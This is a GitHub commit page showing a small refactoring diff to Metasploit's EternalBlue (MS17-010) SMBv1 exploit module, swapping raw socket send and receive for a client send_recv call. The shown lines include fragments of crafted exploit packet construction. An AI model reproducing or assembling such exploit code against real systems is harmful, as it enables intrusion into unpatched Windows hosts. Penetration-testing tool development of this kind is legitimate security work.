Skip to content

Commit ee5f37d

Browse files
David MaloneyDavid Maloney
authored andcommitted
remove nt trans raw sock op
don't send the nt transact packet as raw socket data, instead use the client send_recv method
1 parent f0f99ad commit ee5f37d

File tree

1 file changed

+2
-9
lines changed

1 file changed

+2
-9
lines changed

modules/exploits/windows/smb/ms17_010_eternalblue.rb

Lines changed: 2 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -321,11 +321,8 @@ def smb1_large_buffer(client, tree, sock)
321321

322322
# send NT Trans
323323
vprint_status("Sending NT Trans Request packet")
324-
sock.put(nt_trans_pkt)
325-
326-
vprint_status("Receiving NT Trans packet")
327-
raw = sock.get_once
328324

325+
client.send_recv(nt_trans_pkt)
329326
# Initial Trans2 request
330327
trans2_pkt_nulled = make_smb1_trans2_exploit_packet(tree.id, client.user_id, :eb_trans2_zero, 0)
331328

@@ -555,11 +552,7 @@ def make_smb1_nt_trans_packet(tree_id, user_id)
555552

556553
packet.data_block.byte_count = 1004
557554
packet.data_block.trans2_parameters = "\x00" * 31 + "\x01" + ( "\x00" * 973 )
558-
559-
nbss = [packet.do_num_bytes].pack('N')
560-
raw_packet = packet.to_binary_s
561-
562-
nbss + raw_packet
555+
packet
563556
end
564557

565558
def make_smb1_free_hole_session_packet(flags2, vcnum, native_os)

0 commit comments

Comments
 (0)